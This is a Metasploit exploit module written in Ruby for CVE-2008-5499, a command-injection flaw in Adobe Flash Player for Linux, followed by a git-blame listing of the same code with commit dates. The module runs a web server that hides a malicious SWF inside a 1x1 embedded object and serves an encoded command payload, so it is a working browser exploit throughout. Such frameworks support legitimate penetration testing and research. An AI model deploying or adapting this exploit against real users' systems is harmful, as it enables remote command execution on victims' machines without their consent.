modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',
        'Description' => %q{
          This module exploits a vulnerability in Adobe Flash Player for Linux,
          version 10.0.12.36 and 9.0.151.0 and prior.
          An input validation vulnerability allows command execution when the browser
          loads a SWF file which contains shell metacharacters in the arguments to
          the ActionScript launch method.

          The victim must have Adobe AIR installed for the exploit to work. This module
          was tested against version 10.0.12.36 (10r12_36).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          '0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version
        ],
        'References' => [
          ['CVE', '2008-5499'],
          ['OSVDB', '50796'],
          ['BID', '32896'],
          ['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html']
        ],
        'DefaultOptions' => {
          'HTTP::compression' => 'gzip',
          'HTTP::chunked' => true
        },
        'Platform' => 'unix', # so unix cmd exec payloads are ok
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic', {}],
        ],
        'DisclosureDate' => '2008-12-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
  end

  def exploit
    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2008-5499.swf')
    @swf = File.binread(path)

    super
  end

  def on_request_uri(cli, request)
    msg = "#{cli.peerhost.ljust(16)} #{shortname}"
    trigger = @swf
    trigger_file = rand_text_alpha(3..8) + '.swf'

    obj_id = rand_text_alpha(3..8)

    if request.uri.match(/\.swf/i)
      print_status("#{msg} Sending Exploit SWF")
      send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
      return
    end

    if request.uri.match(/\.txt/i)
      send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
      return
    end

    html = <<-EOS
    <html>
      <head>
      </head>
      <body>
      <center>
      <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
        <param name="movie" value="#{get_resource}#{trigger_file}" />
        <embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"
          type="application/x-shockwave-flash"
          pluginspage="http://www.macromedia.com/go/getflashplayer">
        </embed>

      </object>
    </center>

    </body>
    </html>
    EOS

    print_status("#{msg} Sending HTML...")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`##`
use https for metaploit.com links 2017-07-24 06:26:21 -07:00			`# This module requires Metasploit: https://metasploit.com/download`
Redo the boilerplate / splat 2013-10-15 13:50:46 -05:00			`# Current source: https://github.com/rapid7/metasploit-framework`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`##`

use MetasploitModule as a class name 2016-03-08 14:02:44 +01:00			`class MetasploitModule < Msf::Exploit::Remote`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`Rank = GoodRanking`
Retab modules 2013-08-30 16:28:54 -05:00
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`include Msf::Exploit::Remote::HttpServer::HTML`
Retab modules 2013-08-30 16:28:54 -05:00
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`def initialize(info = {})`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`super(`
			`update_info(`
			`info,`
			`'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',`
			`'Description' => %q{`
Code cleanup 2012-04-11 20:26:52 -05:00			`This module exploits a vulnerability in Adobe Flash Player for Linux,`
40% done 2017-08-28 20:17:58 -04:00			`version 10.0.12.36 and 9.0.151.0 and prior.`
Code cleanup 2012-04-11 20:26:52 -05:00			`An input validation vulnerability allows command execution when the browser`
			`loads a SWF file which contains shell metacharacters in the arguments to`
Minor fixes 2012-04-19 18:07:35 -05:00			`the ActionScript launch method.`
Retab modules 2013-08-30 16:28:54 -05:00
Code cleanup 2012-04-11 20:26:52 -05:00			`The victim must have Adobe AIR installed for the exploit to work. This module`
			`was tested against version 10.0.12.36 (10r12_36).`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`},`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`'License' => MSF_LICENSE,`
			`'Author' => [`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`'0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version`
			`],`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`'References' => [`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`['CVE', '2008-5499'],`
Revert "Land #6812 , remove broken OSVDB references" 2016-07-15 12:00:31 -05:00			`['OSVDB', '50796'],`
Msftidy fixes 2013-01-04 09:29:34 +01:00			`['BID', '32896'],`
			`['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html']`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`],`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`'DefaultOptions' => {`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`'HTTP::compression' => 'gzip',`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`'HTTP::chunked' => true`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`},`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`'Platform' => 'unix', # so unix cmd exec payloads are ok`
			`'Arch' => ARCH_CMD,`
			`'Targets' => [`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`[ 'Automatic', {}],`
			`],`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`'DisclosureDate' => '2008-12-17',`
			`'DefaultTarget' => 0,`
			`'Notes' => {`
			`'Stability' => [CRASH_SERVICE_DOWN],`
			`'SideEffects' => [],`
			`'Reliability' => [REPEATABLE_SESSION]`
			`}`
			`)`
			`)`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`end`
Retab modules 2013-08-30 16:28:54 -05:00
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`def exploit`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2008-5499.swf')`
Update modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb 2025-05-16 15:07:08 -07:00			`@swf = File.binread(path)`
Retab modules 2013-08-30 16:28:54 -05:00
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`super`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`def on_request_uri(cli, request)`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`msg = "#{cli.peerhost.ljust(16)} #{shortname}"`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`trigger = @swf`
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`trigger_file = rand_text_alpha(3..8) + '.swf'`
Retab modules 2013-08-30 16:28:54 -05:00
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`obj_id = rand_text_alpha(3..8)`
Retab modules 2013-08-30 16:28:54 -05:00
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`if request.uri.match(/\.swf/i)`
Code cleanup 2012-04-11 20:26:52 -05:00			`print_status("#{msg} Sending Exploit SWF")`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })`
			`return`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`if request.uri.match(/\.txt/i)`
			`send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })`
			`return`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00			`html = <<-EOS`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`<html>`
			`<head>`
			`</head>`
			`<body>`
Code cleanup 2012-04-11 20:26:52 -05:00			`<center>`
			`<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">`
			`<param name="movie" value="#{get_resource}#{trigger_file}" />`
			`<embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"`
			`type="application/x-shockwave-flash"`
			`pluginspage="http://www.macromedia.com/go/getflashplayer">`
			`</embed>`
Retab modules 2013-08-30 16:28:54 -05:00
Code cleanup 2012-04-11 20:26:52 -05:00			`</object>`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`</center>`
Retab modules 2013-08-30 16:28:54 -05:00
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`</body>`
			`</html>`
Code cleanup 2012-04-11 20:26:52 -05:00			`EOS`
Retab modules 2013-08-30 16:28:54 -05:00
Code cleanup 2012-04-11 20:26:52 -05:00			`print_status("#{msg} Sending HTML...")`
new file: data/exploits/CVE-2008-5499.swf 2012-04-10 20:58:22 +01:00			`send_response(cli, html, { 'Content-Type' => 'text/html' })`
			`end`
			`end`